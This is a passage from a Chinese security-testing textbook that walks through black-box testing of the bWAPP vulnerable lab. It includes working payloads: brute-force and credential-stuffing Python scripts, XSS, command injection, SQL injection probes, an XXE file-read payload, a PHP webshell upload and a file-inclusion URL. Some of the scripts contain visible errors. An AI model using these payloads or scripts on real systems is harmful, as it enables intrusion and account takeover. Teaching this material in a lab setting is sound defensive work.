企业的安全人员（尤其在甲方）往往身兼数职，久而久之容易出现技能退化的情况。要参加比赛，首先得选好人，结合比赛涉及的知识点以及团队成员技能情况报名。考虑到以后CTF比赛可能是常态，所以招人时可以优先考虑有参加CTF比赛获奖的应聘者。有的企业可能安全人员才1~2人，这时候可以适当借助其他兄弟部门的力量（比如开发人员）参与。

既然是团队参加比赛，肯定涉及合作与分工。市面上招聘安全人员，普遍发现从事Web渗透的居多，从事二进制的偏少，因为二进制学习成本更高，难度更大，所以如果有二进制人才一定要拉进来。

（2）准备好工具

前面分析了题目类别及所需要的知识点，建议收集一些常用的工具或脚本，虽然在比赛现场手写代码让人觉得很厉害，但时间有限，还是要多做准备工作，图18-7为笔者收集的工具截图。

有了工具，还要会用，多用不同的工具，看哪些功能顺手，哪些需要配合使用。比如，同样是二进制工具，010Editor就比WinHex方便很多；再比如，同样是看数据包的工具，Wireshark支持的格式丰富，但NetworkMiner可以方便地看数据包里文件、参数等。

（3）适当练习

网上有很多CTF训练平台，建议参赛队伍先进行练习，看看各类题目到底是怎么样的，有哪些套路在里面。可能知识点选手们都掌握了，但还是没找到Flag，这时候可以换个思路，或者跟大家交流讨论。因为这里涉及很多实操部分，不容易总结成文字，下面举个例子说明一下。

某APK里找Flag，常规套路是先用dex2jar转换为jar，然后用JD-GUI工具打开看代码，搜索Flag，key等关键字找，找不到就慢慢看代码，如图18-8所示。




图18-7　CTF工具集




图18-8　CTF找Flag举例

有的人可能还想看其算法实现，但有的人可能看到这个base64编码顺手反解一下就得到Flag了，这就是我们所说的套路或经验，多交流会有帮助。




18.8　小结



本章主要对DDoS攻击、勒索软件、补丁、堡垒机、加密机、情报、CTF等内容进行了介绍，这些都是安全热点问题。企业要结合自身情况选择相应的方案。DDos攻防终究是双方资源的比拼，缺乏专业人员的情况下有必要借助外部力量并建立起一套机制；而在企业中防病毒、准入、补丁等基础工作也会花费大量精力，有条件的企业可以适当将一些工作外包出去并进行考核管理，比如桌面管理类工作也是一个可行的办法；加密机更多用于运维场景，小心谨慎是上策；情报利用要匹配场景，尽可能地自动化将是未来的一个基本趋势；CTF比赛从某种意义上是企业安全对抗能力的一种体现，有条件的企业可以适当参与。




第19章　安全检测



近几年，互联网信息安全事件受到空前的关注，越来越多的金融企业开始意识到信息安全的重要性，并加大了各方面的投入，引入各种安全防护手段，其中安全检测是重要的事前防护手段之一。通过这种手段可以帮助企业在系统上线前尽量发现安全漏洞并进行修补，有效地降低因安全漏洞产生的风险。本章介绍安全检测技术、检测方式和思路，并介绍了常见检测案例。




19.1　安全检测方法



安全检测方法主要包括黑盒检测和白盒检测两种类型，下面简单介绍这两种方法。


1.黑盒检测


黑盒检测是指将程序看作一个不能打开的黑盒子，在完全不考虑程序内部结构和内部特性的情况下，模拟合法用户使用应用程序，检测应用程序功能是否能适当地接收和正确地输出，以发现存在的安全漏洞。

黑盒检测通常按照攻击者的思路进行测试，达到准确性与全面性。要做好黑盒检测，需要考虑以下几个方面：

·对应用系统的熟悉程度。检测之前，对应用系统进行跟踪了解，包括涉及的所有功能、与其他系统的调用关系、接口开放情况、系统架构等。

·全面的安全技术知识。因为应用系统功能的不同，所对应的应用范围也不同，有的系统涉及商城，就要了解商城系统中可能会出现的相关安全问题；有的应用系统用到HTML5相关技术，需要了解HTML5有关的安全问题。安全人员需要掌握全面的安全技术知识，才能对每个项目进行检测。

·漏洞挖掘能力和实战技能。安全检测人员需要较强的漏洞挖掘能力和漏洞感知能力，同时具备实战技能，对单个功能上发现的漏洞，能推断其他功能也是否会出现类似问题。

·安全测试标准。一般参考OWASP测试指南结合实战经验中的测试点，总结出安全检测标准文档，对所有可能产生影响的安全漏洞进行汇总，并详细描述检测的方法、步骤、可能用到的工具等，对项目的所有漏洞进行检测，并严格按照规定的方法进行测试。

·测试人员素质。测试功能时，需要有足够的耐心和细心，如前端发现的密钥利用、未开放的功能接口和参数、暴力破解时的字典规则、加密请求包的解密、过滤规则的绕过等，均需要测试人员有足够的耐心和细心。

·发散性思维。从多个角度去思考一个问题，以寻求得到多种假设、观点或者答案。例如，在实际案例中可以思考，是否可以通过其他方式获取用户的密码作为突破口？类似的功能是不是在其他系统中也用到过？诸如此类。


2.白盒检测


白盒检测是指检测人员在掌握系统源代码、系统业务逻辑等信息的情况下，检查程序源代码是否存在安全隐患，或者有编码不规范的地方，通过自动化工具或者人工审查的方式，对程序源代码逐条进行检查和分析，发现源代码缺陷引发的安全漏洞。白盒测试的测试方法包括代码检查法、静态结构分析法、静态质量度量法、逻辑覆盖法、基本路径测试法、域测试、符号测试、路径覆盖、程序变异等。


3.两种检测方法的比较


网上经常有关于两种检测方法优缺点的讨论，以及关于哪种检测方法技术含量更高、效率更高、覆盖更全的争论。笔者认为，两种检测方法的优缺点如下：

·黑盒检测只有通过外部探测的方式发现安全漏洞，检测的成本比较高，而且不能对系统检测全面覆盖，但能发现一些业务逻辑、隐藏性高的安全漏洞。

·白盒检测能够更全面地覆盖整个系统，可以推动建立安全开发规范，减少后期人力成本，对于业务逻辑和封装后的模块等检测漏洞的难度较大。相比黑盒检测，覆盖的检测范围更全面，但是误报率比较高。

总体来说，两种检测方式各有优缺点，没必要一定分个高下，在日常安全检测中，金融企业一般通过两种方式配合使用来弥补各自的缺陷。




19.2　检测工具



常用的安全检测工具包括Burpsuite、AWVS、Appscan、Sqlmap、Nmap等，下面简单介绍一下。


1.Burpsuite


Burpsuite是一个集成化的Web渗透测试工具，它集合了多种渗透测试组件，方便自动化和手工完成对Web应用的渗透测试和攻击。该工具由Java语言开发，支持跨平台，方便检测人员使用。主要组件模块包括：Proxy、Spider、Scanner、Repeter、Intruder、Sequecer、Decoder、Comparer。


2.AWVS


AWVS（Acunetix Web Vulnerability Scanner）是一款知名的网络漏洞扫描工具，通过网络爬虫测试网站安全，检测流行安全漏洞，是一款自动化的Web应用程序安全测试工具。AWVS可以快速扫描跨站脚本攻击（XSS）、SQL注入、XML注入、源代码泄露、目录遍历、代码执行、URL重定向、应用程序报错等。


3.AppScan


AppScan是IBM公司出品的一款针对Web应用程序的安全测试工具，可以自动化地评估Web应用的安全漏洞，能扫描和检测所有常见的Web应用安全漏洞，例如SQL注入、跨站点脚本攻击、文件遍历攻击、XML注入、Struts2远程代码执行漏洞等。利用爬虫技术对站点结构进行爬取，根据网站入口自动抓取网页链接进行安全扫描，提供扫描、报告和修复建议等功能。


4.Sqlmap


Sqlmap是一款开源渗透测试工具，可自动检测和利用SQL注入漏洞，如数据库指纹、访问底层文件系统、执行命令，是安全检测人员经常使用的一款工具。支持MySQL、Oracle、PostgreSQL、Microsoft SQL Server等多种数据库管理系统。支持五种SQL注入技术：基于布尔的盲注、基于时间的盲注、基于报错的注入、基于联合查询注入、基于堆栈查询注入。主要功能包括支持直接连接数据库而不通过SQL注入，通过提供DBMS凭证、IP地址、端口和数据库名称直连数据库。


5.Nmap


Nmap是一款不局限于信息收集和枚举功能，可以用来作为漏洞探测器或安全扫描器的工具，适用于Winodws、Linux、Mac等操作系统。Nmap是一款非常强大的实用工具，主要功能有：检测活在网络上的主机（主机发现），检测主机上开放的端口（端口发现或枚举），检测到相应的端口（服务发现）的软件和版本，检测操作系统，硬件地址，以及软件版本，检测脆弱性的漏洞（Nmap的脚本）。

上面介绍了一些工具情况，实际工作中通常会使用多个漏洞扫描工具进行交叉性的扫描，条件允许的情况下，可加入自研漏洞扫描工具等进行安全检测。




19.3　安全检测思路和流程



黑盒检测是模拟用户的操作来检测一些常规性和业务性安全等漏洞。因为考虑到效率，黑盒检测一般会涉及信息收集、自动化漏洞扫描、人工介入验证和检测、编写报告几个阶段。使用漏洞扫描工具目的是为了减少对一些常规性漏洞的人工检测，达到事半功倍的效果，弥补人工检测时忽视的检测点，同时让检测人员把更多精力集中在专向安全检测上。

安全检测的思路和流程大致有几步，下面分别介绍。


1.信息收集


信息收集是通过各种方式获取系统相关联的所有信息，主要针对上线系统相关的信息收集，包括目标系统开放端口服务、用户名密码字典、系统开发商、软件架构、历史相关漏洞、搜索引擎检索、源代码泄露、目录结构等，可以通过定制化的自动化脚本进行收集。

信息收集是整个安全检测阶段最重要的部分之一，基本覆盖安全检测各个阶段，包括前期基本的信息收集，IP端口服务和操作系统类型、系统架构、指纹等。检测期间，操作业务功能和观察系统特征时，可以收集到很多显现的信息或更深层的信息，如系统关键词、第三方插件、供应商、URL特征、加密算法、技术架构、系统业务功能、系统关联、容易出现安全问题的功能点等。然后需要对所有收集的信息做关联分析，提取出关键信息，做分类处理，分成当前检测可以使用的，后期检测时可能用到的。最后进行总体安全评估，以防有遗漏的检查项。

以下是信息收集的关键点：

·系统技术，如开发语言、中间件、系统框架、第三方组件、版本号。

·公开的远程高危漏洞，如WebLogic、JBoss、反序列化漏洞。

·供应商信息，如开发架构、历史漏洞、泄露的源代码、其他同行也在使用的类似系统。

·系统业务，调用关系，如开放的功能接口。

·未知的功能接口参数，通过前端js文件查找或有规律的接口名和参数构造等。

·系统PC端、APP端、微信端、H5。

·系统特征，如URL或文件中。

·开发人员代码习惯，如代码注释，Console日志。

·源代码泄露，如GitHub、百度云、QQ群。

·测试环境在暴露在公网，如开放了其他可直接入侵的服务端口，拿到更多源代码和系统架构。

·用户名、密钥信息。


2.自动化漏洞扫描


通常采用一些自动化漏洞扫描工具，对目标系统进行扫描，可以达到事半功倍的效果，减少常规性漏洞检测的成本。安全检测人员可以把更多精力放在漏洞验证和专向安全检测上，同时可以根据漏洞扫描结果初步判断当前系统安全状况，对扫描结果进行深入的分析和判断，扫描器无法发现的隐藏较深的安全问题进行手工检查和测试，如业务逻辑漏洞检测等。


3.关键功能收集


在使用系统时，可以初步确定出系统的应用类型，如交易类系统、商城类系统、再针对性地梳理出关键功能，如涉及用户资料信息、用户认证、密码找回、用户交互、支付功能、文件上传、文件下载、XML传输、API接口、礼品或优惠券、第三方系统交互处、业务逻辑等。在人工介入验证和检测阶段进行专向安全检测。


4.人工介入验证和检测


本阶段主要是用人工方式进行漏洞验证和专向安全检测。当漏洞扫描结束后，某些漏洞需要人工介入验证。专向安全检测一般使用Burpsuite结合人工（安全检测清单，Owasp）进行检测。可利用的漏洞出现时，需要更多人工介入。当发现远程代码执行、SQL注入、XSS漏洞、XXE攻击、任意文件下载和读取、弱口令、命令执行、敏感性文件下载漏洞时，可以通过单点突破或组合漏洞利用的方式，扩大安全检测面，发现更多未知的安全漏洞。


5.编写报告


最后是编写安全检测报告，包括安全检测发现的问题，以及漏洞修复建议等。


6.小总结和改进


上面描述的都是常规步骤，更多时候还需要艺术性发散思维，技能性的东西均容易习得，因为它是有边界的。发散思维会让人不仅仅局限于已知的技术层面，而是根据实际场景构造出特殊的检测路径。如果在实施安全检测前，先弄清楚一些关键性的东西，在脑海中勾画出可能会有哪些风险，并划分优先级，一一排查和检测，会取得意想不到的效果。

安全检测中的发散思维点如下：

·实现自动化方式，达到事半功倍的效果。

·梳理可能存在严重安全隐患和敏感信息泄露的功能接口。

·对可能存在漏洞的功能接口梳理，结合已知的漏洞的数据，建立检测威胁模型，可以减少多余不必要的安全检测项，提升效率，减少测试时的焦虑。

·引入日志和流量镜像、埋点等方式，可以对检测中不可达或遗漏的链接进行更深层次的检测。

·引入机器学习，收集所有功能点和参数值，对首次检测到功能点的漏洞进行分析和预测要在其他功能点上进行排查，是否存在类似漏洞，并做针对性的扫描检测。根据功能点的特征，进行人工专向检测，如文件上传、任意文件下、XML实体注入等。

笔者在实际工作中遇到过，某个参数名第一次发现存在SQL盲注，但没有结合其他方式去排查参数名在其他功能上是否也存在漏洞，导致存在的同一漏洞没有及时发现。如果一开始收集到了这个参数名的特征，就不会有遗漏。




19.4　安全检测案例



安全检测的通常路径是通过信息收集寻找一些明显的特征，先探测是否有远程代码执行、任意文件上传、SQL注入权限高等可直接利用的高危漏洞，如果有的话直接上传WebShell到网站目录中，进一步获取系统权限，对检测的目标进行黑白盒检测，发现更多安全性漏洞；如果没有直接远程利用漏洞，再找找任意文件下载、越权漏洞、业务逻辑、弱口令等漏洞进行组合式攻击，如通过任意文件下载漏洞获取到数据库连接账号和密码，由于权限较高，可以利用数据库获取操作系统权限。然后通过Web自动化漏洞扫描工具对系统常规性漏洞扫描，在操作系统业务功能时，收集一些关键业务功能，如涉及敏感信息、密码重置、支付功能、账户爆破等功能，再进行专向安全检测，最后对安全检测项检查清单过一遍，主要参考OWASP检测清单。

本节结合bWAPP Web漏洞靶机测试案例，介绍安全检测过程。




19.4.1　收集信息



使用Nmap工具对目标IP进行探测扫描，发现端口服务开放、操作系统类型等信息情况，如下所示获取到目标操作系统为Windows，开放了80，3306，3389，139等端口，根据返回的信息，初步可以确认架构为Windows+Apache+MySQL+PHP。

扫描命令：nmap -sS -Pn -sV -O 192.168.204.166，扫描结果如下所示：




使用AWVS、Netsparker Web自动化漏洞扫描工具对常规Wb漏洞扫描，如图19-1所示。




图19-1　对常规Web漏洞扫描

人工验证漏洞，采用Burpsuite工具对一些关键性功能，如登录功能、支付功能、用户敏感信息功能、XML传输功能等进行专向安全检测。




19.4.2　暴力破解



暴力破解攻击是指攻击者通过系统地组合并尝试所有的可能性，以破解用户的用户名、密码等敏感信息。攻击者往往借助自动化脚本工具来发动暴力破解攻击。

常见的漏洞点有：暴破用户名和密码、撞用户弱密码、图形验证码失效、图形验证码可识别、图形验证码回显、前端用户名或密码加密等情况。

下面例子可以直接暴破，目标地址为
http://192.168.204.166/bWAPP/login.php

 ，采用Burpsuite的Intruder模块对认证接口暴力破解，如图19-2所示。




图19-2　待暴力破解页面

1）通过Burpsuite工具的Proxy模块，对登录页面的HTTP请求包拦截，并发送至Intruder模块，如图19-3所示。




图19-3　对登录页面的HTTP请求包拦截

2）在默认标签Postions中选择Cluster bomp攻击类型，对login和password值选择，并分别点击add$作为遍历的变量，后再选择Payloads标签，如图19-4所示。

3）在Payload Sets→Payload set选择2，在Payload type中选择Runtime File，并在Payload Options中选择对应的用户名和密码字典文件，同时根据实际情况可以设置线程数，如图19-5所示。

最后选择Payloads标签栏中右上角的Start attack按钮，进入Intruder attack框中，如图19-6所示。

跑完请求后，再根据返回的信息进行过滤，这里先把返回200状态的过滤掉如图19-7所示，发现用户名和密码，如图19-8所示。

用户名为bee，密码为bug，然后使用爆破得到的用户名密码登录，进入管理页面。




图19-4　选择攻击类型




图19-5　用户名和密码字典文件选择




图19-6　Intruder attack框




图19-6　（续）




图19-7　筛选信息

实际测试过程中会遇到目标系统使用了用户名或密码、用户名和密码组合加密、HTTP包体加密采用了AES、DES加密等情况。用Burpsuite的Intruder模块和其他暴破工具，无法直接进行暴力破解，需要间接加密处理后才能暴力破解。笔者采用了Python脚本的多种方式来解决。如下案例，HTTP的包体部分做了AES加密，需要暴力破解验证测试，笔者在实际案例采用的几种方式：




图19-8　用户名、密码

·使用Seleium自动化测试工具模拟表单暴破。

·调用js加密算法进行暴破。

·调用加密算法函数。

登录框如图19-9所示。




图19-9　登录框


1.Seleium自动化方式


下面包体做了AES加密情况：






POST /sec/login HTTP/1.1



Host: sectest.com



Content-Length: 236



Accept: application/json, text/javascript, */*; q=0.01



X-Requested-With: XMLHttpRequest



User-Agent: Mozilla/5.0 (Windows NT) Gecko/20100101 Firefox/57.0



Content-Type: text/plain; charset=UTF-8



Referer: http://sectest.com



Accept-Encoding: gzip, deflate



Accept-Language: zh-CN,zh;q=0.9,en;q=0.8



Cookie: JSESSIONID=C964B4C201C0DCE8C04844881E106D38



Connection: close 



UYJiPK6CMJIREWXybTv/Ii/IM6xRWG4VSb7HJDa2yhjdg5XqzVRE7lH2aSXsCemH







验证性代码：






#coding=utf-8



from selenium import webdriver



import time



driver = webdriver.Chrome()



base_url = "http://sec.com/?login"



with open("user.txt","r") as users:



    user = users.readlines()



with open("pwd.txt", "r") as pwds:



    pwd = pwds.readlines()



for u in user:



    for p in pwd:



        u1 = u.strip()



        p1 = p.strip()



        url = base_url + "?"+ u



        driver.get(url)



        time.sleep

 

（


 
2

 

）


 




        driver.find_element_by_id("username").send_keys(u1)



        driver.find_element_by_id("password").send_keys(p1)



        driver.find_element_by_id("login").click()



        time.sleep(1)



        current_url = driver.current_url



        if current_url != url:



            print u1+":"+p1 



            driver.delete_all_cookies()



driver.close()







验证的结果如下所示：






steven:qweQWE123



jimmy:abc!@#








2.调用js加密算法







GET/auth/?Name=test&Pwd=fa04ab9fe8e7bb1d&check=f935ec66952eba530d924d862b5e7232 HTTP/1.1



Host:sectest.com



Connection:close



User-Agent:Mozilla/5.0(Windows NT)Gecko/20100101 Firefox/57.0



GET/auth/?Name=test&Pwd=fa04ab9fe8e7bb1d&check=f935ec66952eba530d924d862b5e7232 HTTP/1.1



Host: sectest.com



Connection: close



User-Agent: Mozilla/5.0 (Windows NT) Gecko/20100101 Firefox/57.0



Accept: */*



Referer: http://sectest.com/login



Accept-Encoding: gzip, deflate



Accept-Language: zh-CN,zh;q=0.9,en;q=0.8



Cookie: JSESSIONID=693AB2BA1D1393C212427103AC9799C8







在js文件搜索到加密规则：






var check = hex_md5(Func.getConfig().key  + Name + Pwd);



password: stringToHex(des("dev#test" ,pwd, 1 , 0))



Func  key: "cchash"







通过分析发现使用了des和md5加密，直接下载到本地磁盘上，方便调用。

部分验证的源代码：






import requests



import execjs



def get_js_hash(filename):



    with open(filename, "r") as hashfile:



        file = hashfile.read()



        return file



brute():



    ctx_des = execjs.compile(get_js_hash("des.js"))



    ctx_md5 = execjs.compile(get_js_hash("md5.js"))



    with open("user.txt","r") as users:



        user = user.readlines()



    with open("pwd.txt", "r") as pwds:



        pwd = pwd.readlines()



    success = open("success.txt","a")



    for u in user:



        for p in pwd:



            check = ctx_md5.call("hex_md5","cchash"+u.strip()+p.strip())



            #

 

调用


 
hex_md5

 

函数


 




 pwd1 = ctx_des.call("stringToHex",ctx_des.call("des","dev#test",p,1,0))



 #

 

调用


 
stringToHex

 

和


 
des

 

函数


 




     r = requests.get("http://sectest.com/Auth/?Name="+u+"&Pwd="+pwd1+"&check="+check)



            if "true" in r.content:



                print r.content



                success.write(u1.strip()+":"+strip())



            else:



                print u.strip()+"--"+r.content



    success.close()



if __name__ == "__main__":



    brute()







验证结果如下所示。






jsonp({"success":false,"message":"

 

用户账号或密码错误


 
"})



jsonp({"success":false,"message":"

 

用户账号或密码错误


 
"})



jsonp({"success":false,"message":"

 

用户账号或密码错误


 
"})



jsonp({"success":false,"message":"

 

用户账号或密码错误


 
"})



jsonp({"success":false,"message":"

 

用户账号或密码错误


 
"})



jsonp({"success":true,"message":"

 

登录成功


 
"})



jsonp({"success":false,"message":"

 

用户账号或密码错误


 
"})



jsonp({"success":false,"message":"

 

用户账号或密码错误


 
"})








3.调用加密函数


前端登录页面中泄露了加密算法为AES。先通过getkey获取到key和iv，后采用AES对密码加密，收集手机号码进行撞密码攻击。

拦截到的请求包：






POST /login HTTP/1.1



Host: sectest.com



User-Agent: Mozilla/5.0 (Windows NT) Gecko/20100101 Firefox/57.0



Accept:/



Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3



Accept-Encoding: gzip, deflate, br



Content-Type: application/x-www-form-urlencoded;



X-Requested-With: XMLHttpRequest



Referer: http://sectest.com/login.html



mobile=13412341234&password=8cc9ecf55445a40d9aaab9fff33145a5 



#coding:utf-8



import requests



import json



from Crypto.Cipher import AES  



from binascii import b2a_hex, a2b_hex  



class prpcrypt():  



    def __init__(self,key,iv):  



        self.key = key  



        self.iv  = iv  



        self.mode = AES.MODE_CBC  



        self.BS = AES.block_size  



        #

 

补位


 
  



        self.pad = lambda s: s + (self.BS - len(s) % self.BS) * chr(self.BS - len(s) % self.BS)   



        self.unpad = lambda s : s[0:-ord(s[-1])]  



    def encrypt(self,text):  



        text = self.pad(text)  



        cryptor = AES.new(self.key,self.mode,self.iv)  



        #

 

目前


 
AES-128 

 

足够目前使用


 
  



        ciphertext = cryptor.encrypt(text)  



        #

 

把加密后的字符串转化为


 
16

 

进制字符串


 
  



        return b2a_hex(ciphertext)         



    #

 

解密后，去掉补足的空格用


 
strip() 

 

去掉


 
  



    def decrypt(self,text):  



        cryptor = AES.new(self.key,self.mode, iv)  



        plain_text  = cryptor.decrypt(a2b_hex(text))  



        return self.unpad(plain_text.rstrip('\0'))  



    #

 

做了


 
Referer

 

和


 
cookies

 

控制


 




    cookies = dict(sid='rs5hcsaE3LP9v5xs9cxiJe3vzlYwocug')



    headers = {'user-agent': 'Mozilla/5.0 (Windows NT) Gecko/20100101 Firefox/ 57.0','Referer': 'http://sectest.com/login'}



    #1 

 

获取


 
key

 

：


 




    def get_pwd(password):



        r = requests.post('https://sectest.com/getkey',cookies=cookies,headers=headers)



        token = json.loads(r.text)



        key = token['data']['key']



        iv = token['data']['iv']



        aes = prpcrypt(key, iv)



        return aes.encrypt(password)



    #2 

 

登录：


 




    password = 'P@ssword'



    for mobile in range(13012341234,13312341234):



        data = {'mobile':mobile,'password':get_pwd(password)}



        r = requests.post('http://sec.com/login',cookies=cookies,data=data, headers=headers)



        print r.text







验证结果如下所示：







19.4.3　XSS检测



XSS（Cross Site Scripting，跨站脚本攻击）的缩写为了和层叠样式表（Cascading Style Sheets，CSS）的缩写不造成混淆，故写为XSS，XSS是一种Web应用安全漏洞，它允许恶意Web用户将代码植入到提供给其他用户使用的页面。

常见的XSS大致分为：反射型、存储型、DOM型：

·反射型XSS只是简单地把用户输入的数据回显给浏览器端，也就是说需要诱使用户“点击”一个恶意链接，才能攻击成功。

·存储型XSS会把用户输入的数据存放在服务器端，也叫“持久性XSS”。例如用户交互的功能点，只要用户进入页面攻击代码将会执行。

·DOM型XSS与前两者的差别是，只在客户端进行解析，不需要服务器的解析响应。

一般检测方式是在URL参数中随意输入类似"><img src=a onerror=alert('test')>探测脚本，如果没有回显的话，再换其他的探测脚本或缩小探测内容的范围，来判断是否对特殊字符过滤完全、编码问题等。如下检测firstname参数时，发现浏览器直接解析执行了测试脚本，说明漏洞存在。






http://192.168.204.166/bWAPP/htmli_get.php?firstname="><img



src=a onerror=alert('test')>&lastname="><img src=a onerror=alert('test')>&form=submit







Firefox浏览器验证如图19-10所示。




图19-10　Firefox浏览器验证

Chrome验证如图19-11所示。






http://192.168.204.166/bWAPP/iframei.php?ParamUrl=javascript:alert('sectest')//ParamWidth=250&ParamHeight=250










图19-11　Chrome验证




19.4.4　OS命令执行检测



常用的payload模式有|、||、&、&&等：

·cmd1|cmd2:|表示将cmd1执行的结果输出给cmd2作为输入之用。

·cmd1||cmd2:||表示先执行cmd1，成功后就不再执行cmd2；否则失败的话，则执行cmd2。

·cmd1&cmd2:&表示先执行cmd1再执行cmd2，不管cmd1是否成功，都会执行cmd2。

·cmd1&&cmd2:&&表示先执行cmd1，成功后再执行cmd2；否则失败的话，则不执行cmd2。

·cmd1;cmd2:表示连接符号，执行完cmd1后再执行cmd2。

应用业务场景主要涉及工具类功能、关闭重启类功能、系统信息查看类功能等。

一般涉及命令执行的功能处，可以加入上面payload来探测是否存在命令执行漏洞，如下直接输入test.com&ipconfig，返回了定制命令的结果，说明漏洞存在：






http://192.168.204.166/bWAPP/commandi.php







通过输入一个域名test.com测试，返回信息进行了解析操作，如图19-12所示。




图19-12　信息解析

后在执行test.com&ipconfig发现返回了IP地址，说明存在OS命令执行漏洞，如图19-13所示。




图19-13　漏洞验证




19.4.5　SQL注入检测



常见的SQL注入类型主要包含几种：

·可显：攻击者可以在当前界面中获取数据库内容。

·报错：攻击者可以构造数据库报错语句，从报错信息中获取数据库内容。

·盲注：攻击者可以通过数据库逻辑或执行延时等方式获取数据库内容。

常用的探测方式是在参数值后输入','or'1'='1,and 1=1,'and'1'=',or 1=1等方式提交，查看服务器端返回的结果来判断，数字时输入+-：






http://192.168.204.166/bWAPP/sqli_1.php?title=&action=search







随意输入一个'，出现SQL报错消息提示，再添加一个'后提交请求，发生了闭合，说明可能存在SQL注入问题：






Error:You have an error in your SQL syntax;check the manual that corresponds to your MySQL server version for the right syntax to use near'%''at line 1







通过Sqlmap工具进行验证，发现存在SQL注入漏洞，如下所示：










19.4.6　XML实体注入检测



XXE实体注入检测（XML External Entity Injection，也叫XML注入）是指XML外部实体注入攻击。漏洞是在对非安全的外部实体数据进行处理时引发的安全问题。

在XML1.0标准里，XML文档结构里定义了实体（entity）这个概念。实体可以通过预定义在文档中调用，实体的标识符可访问本地或远程内容。如果在这个过程中引入了“污染”源，在对XML文档处理后则可能导致信息泄漏等安全问题。当允许引用外部实体时，通过构造恶意内容，可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害。

一般采用XML传输数据时，可能存在XML注入安全漏洞。下面类似这种请求方式，可以通过探测方式检测是否存在漏洞，结果如图19-14所示。

验证请求包如下：






POST /bWAPP/sqli_8-2.php HTTP/1.1



Host: 192.168.204.166



Content-Length: 59



Origin: http://192.168.204.166



User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.170 Safari/537.36



Content-type: text/xml; charset=UTF-8



Accept: */*



Referer: http://192.168.204.166/bWAPP/sqli_8-1.php



Accept-Encoding: gzip, deflate



Accept-Language: zh-CN,zh;q=0.9,en;q=0.8



Cookie: security_level=0; PHPSESSID=1661b0dbf3rqteje50r4nrlu37



Connection: close



<reset><login>bee</login><secret>Any bugs?</secret></reset>



<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini"> ]><reset><login> bee&xxe;</login><secret>Any bugs?</secret></reset>










19.4.7　代码注入



代码注入攻击（code injection attack）通常是指在应用程序中注入要执行的代码片段。这种类型的攻击利用目标程序没有对不信任的数据进行验证，通常因为缺少对输入输出数据的验证。

下面message参数没有对输入做验证，导致输入的字符串值转换成了代码执行，如图19-15所示。




图19-14　XML注入安全漏洞结果

验证URL：
http://192.168.204.166/bWAPP/phpi.php?message=system(ipconfig)

 。




图19-15　错误的message参数导致的乱码




19.4.8　文件上传漏洞检测



文件上传漏洞是对用户上传的文件类型判断不完善，导致攻击者上传非法类型的文件。常见的几类：客户端js校验、服务端后缀名、服务端内容检查、中间件解析漏洞、文件路径截断、HTTP不安全方法（PUT协议）、条件竞争、MIME类型绕过等。

在实际中会遇到一些奇葩的情况。服务端返回消息为导入失败和文件上传失败的消息，一般情况下会判断为不存在文件上传漏洞，实际上WebShell已成功上传到服务器上。一般通过上传路径猜测或在服务器端发现，所以不要被返回的消息误导。

找到文件上传功能点，上传一个图片文件，通过Burpsuite Proxy模块拦截请求，篡改提交，如下所示：






POST /bWAPP/unrestricted_file_upload.php HTTP/1.1



Host: 192.168.204.166



Content-Length: 11714



Cache-Control: max-age=0



Origin: http://192.168.204.166



Upgrade-Insecure-Requests: 1



Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBLreeGT9kLW3BBI7



User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.170 Safari/537.36



Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8



Referer: http://192.168.204.166/bWAPP/unrestricted_file_upload.php



Accept-Encoding: gzip, deflate



Accept-Language: zh-CN,zh;q=0.9,en;q=0.8



Cookie: security_level=0; PHPSESSID=5pri7tmkbid0sv86vao37fant7



Connection: close



------WebKitFormBoundaryBLreeGT9kLW3BBI7



Content-Disposition: form-data; name="file"; filename="test.jpg"



Content-Type: image/jpeg



ÿøÿà







使用burpsuite拦截上传文件请求，把请求包中的test.jpg更改成test.php，包体内容更改成<?php system($_GET["cmd"]);?>后提交。

访问上传后的文件，可以成功执行系统命令，如图19-16所示。



http://192.168.204.166/bWAPP/images/test.php?cmd=whoami










图19-16　文件上传成功后只需命令




19.4.9　支付漏洞检测



支付漏洞可以篡改金额大小，达到低价格购买高价格的产品目的，对企业来说直接造成资金损失，危害很大。支付漏洞一般出现在涉及购买、资金、交易等方面的功能处。常见的问题点：修改支付金额大小（包括负数、小数、无限大值）、修改支付状态、修改商品数量、重复支付、修改优惠价、重放攻击、越权支付、多线程并发等。

下面的检测通过代理拦截HTTP数据包，篡改金额为0.01可以成功支付，如图19-17所示。




图19-17　通过代理拦截HTTP数据包




19.4.10　密码找回漏洞



“密码找回”功能主要涉及的漏洞点有：验证码暴力破解、验证码回显、跳过验证步骤、邮箱或手机号绑定、本地验证绕过、密码找回的Token可预测等，如下所示：

·验证码暴力破解：验证码可以暴力破解。

·验证码回显：服务端直接返回验证码。

·跳过验证步骤:跳过验证步骤、找回方式，直接到新密码设置页面。

·邮箱、手机号绑定：绑定邮箱、手机号时，直接修改userid或其他用户的邮箱为自己的。

·本地验证绕过：客户端在本地对验证码进行判断，一般都经过篡改返回的值来绕过客户端校验。

·密码找回的Token可预测：token为服务器的时间、token为时间戳md5值。

下面输入任意账号查询时，服务端直接返回密码信息，如图19-18所示。




图19-18　查询密码




19.4.11　文件包含漏洞



文件包含漏洞是指如果允许客户端用户输入控制动态包含在服务器端的文件，会导致恶意代码的执行及敏感信息泄露，主要包括本地文件包含和远程文件包含两种形式：

·本地文件包含：被包含的文件在本地服务器上时。

·远程文件包含：被包含的文件在第三方服务器时。

下面通过测试发现可以获取到本地服务器上的文件，如图19-19所示。



http://192.168.204.166/bWAPP/rlfi.php?language=c:\windows\win.ini&action=go










图19-19　获取本地服务器上的文件




19.5　红蓝对抗



